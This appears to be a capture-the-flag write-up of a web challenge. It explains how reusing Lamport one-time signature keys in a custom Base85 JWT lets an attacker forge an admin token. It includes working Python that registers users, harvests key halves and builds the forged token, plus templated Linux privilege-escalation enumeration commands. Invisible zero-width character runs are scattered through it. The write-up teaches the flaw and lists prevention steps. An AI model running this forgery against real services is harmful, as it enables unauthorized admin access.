← Back to Writeups
HTBN/AWeb

165 - Klimat Kontrol (Climate Control)

XESXOR8/23/20265 min read
#web#htb#n/a

165 - Klimat Kontrol (Climate Control)

Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-15 | Status: Solved Techniques: lamport_key_recovery, jwt_forgery, signature_collection, bit_manipulation

Summary

ClimaGlow - a microclimate and lighting management system for office spaces. The service allows controlling air conditioners and lighting fixtures in various building zones.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: duckerz | ID: 20260115_duckerz_165_klimat_kontrol
  • Tags: flask, jwt, privilege_escalation, md5, lamport_signature, one_time_signature, base85
  • Indicators: custom JWT algorithm, Lamport in alg field, 128-element signature array, Base85 encoded token, role field in payload
  • Source: 20260115_duckerz_165_klimat_kontrol.md

Foothold

Vulnerability / Misconfiguration

  1. Lamport_key_recovery
  2. Jwt_forgery
  3. Signature_collection
  4. Bit_manipulation
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • lamport_key_recovery
  • jwt_forgery
  • signature_collection
  • bit_manipulation
  • Tags: flask, jwt, privilege_escalation, md5, lamport_signature, one_time_signature, base85

Original Writeup

<details><summary>Click to expand original content</summary>

Description

ClimaGlow - a microclimate and lighting management system for office spaces. The service allows controlling air conditioners and lighting fixtures in various building zones.

URL: http://tasks.duckerz.ru:30037

Reconnaissance

  1. Technology Stack: Flask/Werkzeug application
  2. Authentication: Registration/login system with JWT token stored in cookie
  3. Token Encoding: Base85 (RFC 1924)
  4. Signature Algorithm: Custom "Lamport" (Lamport one-time signature scheme) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Token Structure Analysis

Decoding the Base85 token reveals a JSON structure:

{
  "header": {"alg": "Lamport", "typ": "JWT"},
  "payload": {"user_id": X, "username": "...", "role": "user"},
  "signature": [array of 128 strings]
}

Key observations:

  • 128 signature elements = 128 bits = MD5 hash length
  • Each signature element corresponds to one bit of the message hash
  • Payload is serialized with json.dumps(payload, separators=(',', ':'))

Vulnerability Analysis

Lamport One-Time Signature Scheme

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Lamport signature is a hash-based one-time signature scheme:

  1. Key Generation:
  • Generate 256 random secret keys: sk[0][0..127] and sk[1][0..127]
  • Public keys are hashes of secret keys
  1. Signing:
  • Hash the message to get 128 bits
  • For each bit i: if bit[i] = 0, reveal sk[0][i]; if bit[i] = 1, reveal sk[1][i]
  1. Critical Weakness:
  • Each signature reveals exactly half of the secret keys
  • After collecting enough signatures for different messages, an attacker can recover ALL secret keys
  • With all keys, arbitrary messages can be signed ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attack Vector

If we register multiple users, each gets a token with a different payload (different user_id, username). Each token's signature reveals 128 keys (one per bit position). By collecting ~20-30 tokens, we can statistically recover both keys for each of the 128 positions.

Exploitation

Step 1: Collect Tokens

Register approximately 25 users and collect their JWT tokens:

import requests
import base64
import json

tokens = []
for i in range(25):
    username = f"user{i:04d}"
    # Register user
    requests.post(f"{URL}/register", data={"username": username, "password": "pass123"})
    # Login and get token
    resp = requests.post(f"{URL}/login", data={"username": username, "password": "pass123"})
    token_b85 = resp.cookies.get('token')
    token_json = base64.b85decode(token_b85).decode()
    tokens.append(json.loads(token_json))

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2: Build Signature Key Database

For each bit position, collect both possible signature values:

import hashlib

# sig_pairs[i] = {0: key_for_bit_0, 1: key_for_bit_1}
sig_pairs = [{} for _ in range(128)]

def get_bits(payload):
    """Get 128 bits from MD5 hash of payload"""
    payload_str = json.dumps(payload, separators=(',', ':'))
    h = hashlib.md5(payload_str.encode()).digest()
    bits = []
    for byte in h:
        for j in range(8):
            bits.append((byte >> (7-j)) & 1)
    return bits
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

for token_data in tokens:
    payload = token_data['payload']
    signature = token_data['signature']
    bits = get_bits(payload)
    
    for i, (bit, sig) in enumerate(zip(bits, signature)):
        sig_pairs[i][bit] = sig

# Check coverage
missing = sum(1 for sp in sig_pairs if len(sp) < 2)
print(f"Missing key pairs: {missing}/128")

Step 3: Forge Admin Token

Create a payload with admin role and construct valid signature:

# Use an existing user_id to avoid database issues
admin_payload = {
    "user_id": tokens[0]['payload']['user_id'],
    "username": tokens[0]['payload']['username'],
    "role": "admin"  # Changed from "user" to "admin"
}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Get bits for admin payload
admin_bits = get_bits(admin_payload)

# Build signature using collected keys
admin_signature = []
for i, bit in enumerate(admin_bits):
    if bit in sig_pairs[i]:
        admin_signature.append(sig_pairs[i][bit])
    else:
        raise Exception(f"Missing key for position {i}, bit {bit}")

# Construct forged token
forged_token = {
    "header": {"alg": "Lamport", "typ": "JWT"},
    "payload": admin_payload,
    "signature": admin_signature
}

# Encode as Base85
forged_b85 = base64.b85encode(
    json.dumps(forged_token, separators=(',', ':')).encode()
).decode()
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

print(f"Forged token: {forged_b85}")

Step 4: Access Admin Panel

# Use forged token to access admin panel
cookies = {'token': forged_b85}
resp = requests.get(f"{URL}/admin", cookies=cookies)
print(resp.text)

Flag Location

The flag was displayed in the admin panel under "Sluzhebniy identifikator" (Service identifier).

Mathematical Background

Why ~25 Users is Enough

For each bit position, we need both the 0-key and 1-key. Each user's payload hash has roughly 50% zeros and 50% ones. The probability of NOT getting both keys for a position after n users is approximately: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

P(missing) = 2 * (0.5)^n

For n=25: P(missing) ≈ 0.00006%

Expected missing positions after 25 users: 128 * 2 * (0.5)^25 ≈ 0.008

So 25 users gives us >99.99% confidence of full key recovery.

Prevention

  1. Never reuse Lamport keys - generate new key pair for each signature
  2. Use proper JWT libraries with standard algorithms (RS256, ES256)
  3. If using one-time signatures, implement proper key management with key rotation
  4. Consider stateful signature schemes like XMSS or SPHINCS+ for hash-based signatures ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

References

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR